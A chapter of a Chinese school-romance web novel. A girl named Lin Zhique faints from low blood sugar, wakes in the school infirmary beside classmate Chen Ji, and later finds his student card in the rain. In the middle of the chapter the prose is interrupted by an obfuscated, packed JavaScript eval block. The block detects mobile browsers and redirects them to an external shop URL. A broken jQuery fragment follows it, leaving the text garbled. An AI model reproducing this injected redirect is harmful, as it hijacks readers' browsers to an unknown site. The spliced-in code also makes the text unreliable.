林之确趴在桌子上,脸蹭到桌面,下课的铃声在她耳边响了好几遍,她一动都没有动。
于晓的座位和她隔了一大排,每次起身都有一声凳子抽动的声音,当她第五次装作若无其事来到林之确边上时,林之确总算抬头注意到了她。
林之确撑着头:“于晓?”
于晓露出一副可怜巴巴的表情,指着肚子,“林之确,你不饿吗?”
“不饿。”林之确抿着唇,“晓晓,你自己去吃吧,我没什么胃口。”
于晓诶了声,“是肚子疼吗?我带了午时茶颗粒,你肚子不舒服的话要不要喝一点。”
林之确点头:“嗯。”
“那喝完了,好一点的话我带你去吃饭,不好的话我就过去吃啦。”于晓拿起林之确的水杯,“我去给你灌水,你在这里等我噢。”
林之确:“嗯。”
于晓走后,班级里一时之间只剩下林之确。一阵风过,书桌上被同学们随意摆放的书页被吹起,林之确的手按着其中一页,她低下头,将自己缩在臂弯里。
两个声音就像是小人一样,在她脑海里大战着。
一个声音说,你忍心看于晓饿着吗?不就是去食堂吗,怎么连食堂都不敢去啊。
正当这个小人耀武扬威地站在林之确的后脑勺时,另一个小人狠狠地将她踢了下去,语气义愤填膺:
“但你们之前不是说要一起吃午饭吗?而且许述的妈妈都这么说了,你怎么连和他吃饭都不情不愿的!”
打住!
林之确捂着自己有些咕咕叫的肚子,还是等于晓回来后,直接去吃饭吧。
这样想着,林之确将额头贴上有些冰凉的桌面,似乎这样就能消除一点从头传出来的丝丝眩晕感。
两眼一黑,醒来之后,林之确率先感觉到的不是身体的麻木,而是一种舒服感。
这种舒服是从内而外扩散的。
一睁眼,冰冷的教室变成了亮着光的电灯泡,林之确疑惑地看了看周围,自然发现了身体上的变化。
刚才是坐着,现在就是躺着。
但好像……还可以。
林之确眯着眼,“有人吗?”
“……”无人回应。
林之确咳了声,刚准备掀开挂在她身上的床单,就感觉有什么东西压着她,鬼压床?大白天哪来的鬼压床。
抬眼一看,那压着她的不是什么东西,而是一个活生生的人。
那人趴在她的床单上,是个男生,后面的头发耷拉在后脖,乌黑的发丝静静地贴在他的额角,原先张扬的眼睛和嘴巴全都闭合收敛,就像是一只偃旗息鼓的猫咪。
林之确舔了舔唇:“……陈集?”
“唔嗯。”那边传来一声微弱的响动。
“陈集?”
床单那边动了动,却没有反应。
“醒了?”
另一个年长的女声从她们上边传话,她问林之确:“好点了没?”
林之确:“谢谢,好多了。”
说这话的是校医室的胡医生,医生见她醒了,就把方才挡起来的遮光板打开,陈集似乎是被这声音吵到,不舒服地轻哼了一声。
林之确看了他一眼,转眼看向医生:“我是怎么了吗?我记得我刚刚还在教室,一转眼就在……”
胡医生:“小同学,是你在教室里面晕倒了,这个同学和另一个女同学一起把你搬过来的。”医生似乎是想到了当时的场景,不由得感慨道:“那个场面真的是吓死了,叫都叫不醒的。”
医生上了年纪,就是喜欢做那种夸张的表情来加重故事的严重性。
林之确舔了舔唇,“对不起,早上来学校的时候太晚了,就没吃早饭。应该是低血糖犯了。”
“你要谢,就谢谢你的同学吧。”
林之确转过身,陈集悠悠转醒,他打了个哈欠,林之确刚想开口,就看他顺势伸了个懒腰:“不用谢。”
林之确无语,下意识反驳:“……谁要谢你了。”
医生已经转过身去另一个地方了。
陈集看着她,笑了声:“哦,忘了你是白眼狼了。”
“什么白眼狼?”林之确莫名其妙。
陈集挑眉,“那当然是——明明让我救了的却非要跑掉,害我差点连名字都不知道。某人晕倒我扶来医护室,却连一句最简单的谢谢都没有。”
“哎,真是世风日下,世风日下啊。说你是白眼狼,不冤枉吧。”
林之确:“……随便你。”
林之确把脚放下来,陈集起身问医生要了纸杯接热水,探好温度,他递给林之确:“喝完就回教室吧,午休要结束了。”
“……噢。”
林之确拿着纸杯,想把头都塞进小小的纸杯,就在陈集以为林之确打算再保持一会时,她突然将喝完了的纸杯盖在嘴上。
陈集看着她愣了一下。
林之确闷闷的声音从纸杯传来:“……靴靴。”
陈集以为自己听错了:“什么?”
林之确的嘴巴紧紧吸着纸杯,仿佛纸杯就是她的面具,她的眼睛本来就大,此刻愤愤地盯着陈集:
“……靴靴。”
陈集终于没忍住,噗嗤一声笑了出来。
林之确闷闷的声音再次从纸杯传来,像是隔了一个世纪:“你干嘛!”
陈集:“哈哈哈哈哈哈。”
林之确瞬间拔出纸杯,发出啵的一声,脸也涨得通红。
*
于晓来的时候,陈集刚走没多久。
“之确,你怎么样?我刚吃了午饭就马不停蹄赶过来了,你现在怎么样,人还舒服的吧。”
于晓还在对林之确上下其手,检查她身上有没有别的不舒服。
林之确摇摇头,推开她:“我好多了。”
林之确:“对了,当时发生了什么?陈集说是他送我回来的,我……”
于晓回忆了一下说:“我回到教室的时候,你那边的桌子全倒了,我看见陈集把你扶起来,刚想问他咋回事,他就问我有没有什么巧克力和糖,找到了就来医护室找你们。”
“哦对了,他还问我有没有吃饭。”于晓说,“他让我先去吃饭,再来医护室找你,我就吃了个饭再过来。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862628|212074||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林之确:“哦。”
于晓在林之确的眼前挥了挥手,林之确看着她,听见她说:“之确,你不讨厌陈集对不对。”
“我们俩……”林之确咬了咬舌头,“我们俩跟许述应该也算是朋友吧,前几天他叫我去他家里,我看到……”
于晓的注意力一下就被带偏了,“他家咋了?”
“他家里,确实挺困难的。”
林之确想到他们家破旧的装潢,和那个房间里永远迈不出门的,许述的妹妹。
于晓嘟着嘴,轻轻摇了摇头。
“那你呢,你觉得他是一个什么样的人?”
林之确又想到那天晚上许述拽着她,说的那一番奇怪的话。她记得那双惯常温柔的眼睛里散发的带着寒气的利刃。
“我觉得他好奇怪,我说不上来。”林之确说,“但他不是个坏人,在学习上也挺刻苦的,他不容易,我不能……”
于晓:“那陈集呢?”
林之确愣了愣。
于晓乘胜追击,问:“那你觉得陈集是一个什么样的人。”
林之确低着头,声音听起来闷闷的,“我讨厌他,十分、超级、一万个讨厌他。”
她的声音越说越大,就像是一个一直被吹气,快要撑破房间的气球。
气球越吹越大,越吹越高,只等着一个巨大的力将它撑破!
“为什么?”于晓皱了皱眉,“他没做任何让你生气的事情啊。”
第一次在操场遇见,被嘴炮王他们那么说;在篮球场,陈集将她护在身前,接连比下的那几场得分;还有今天,就在刚才,她在教室里晕倒,被陈集送到医护室。
哪件事情,林之确都应该实打实地说一句谢谢或者道歉。
林之确叹了口气,说:“你不懂。”
你看不到我看到的。
你不懂许述和他的恩怨,也不懂我的立场。
于晓的表情皱得更深了,她抱着手臂,完全不懂林之确这句不懂是什么意思。她气鼓鼓的样子显得这张冰块脸倒是尽了一点人情。
一阵风哗啦吹了一下窗子,林之确舔了舔唇,声音小了起来,“但现在我发现,我好像……没有那么讨厌他了。”
他们只是立场不同。
林之确想。
午休的铃声彻底结束,医护室的医生也让她先回去,外面有点下雨了,林之确和于晓都没带雨伞,就用手撑过去,走在路上,她们看见地上有一张学生证。
于晓也看到了,低下身子帮她捡。
林之确接过那张学生证,班级和她是一样的,似乎是有预感似的,她下意识跟着喊出了那个人的名字:“……陈集?”
雨还在下,林之确却觉得自己的世界安静了。不知道是不是她的错觉,她记得陈集早就走了,那为什么这张学生证下面的地上没有那么湿呢?
于晓一把抓过她的手,语气急促:“走了啦,在这里想什么。是谁的,到时候直接给老师也行。”
“嗯,你说的对。”
林之确另一只手把那张学生证收进了口袋,她回拉着于晓的手,跑回教学楼。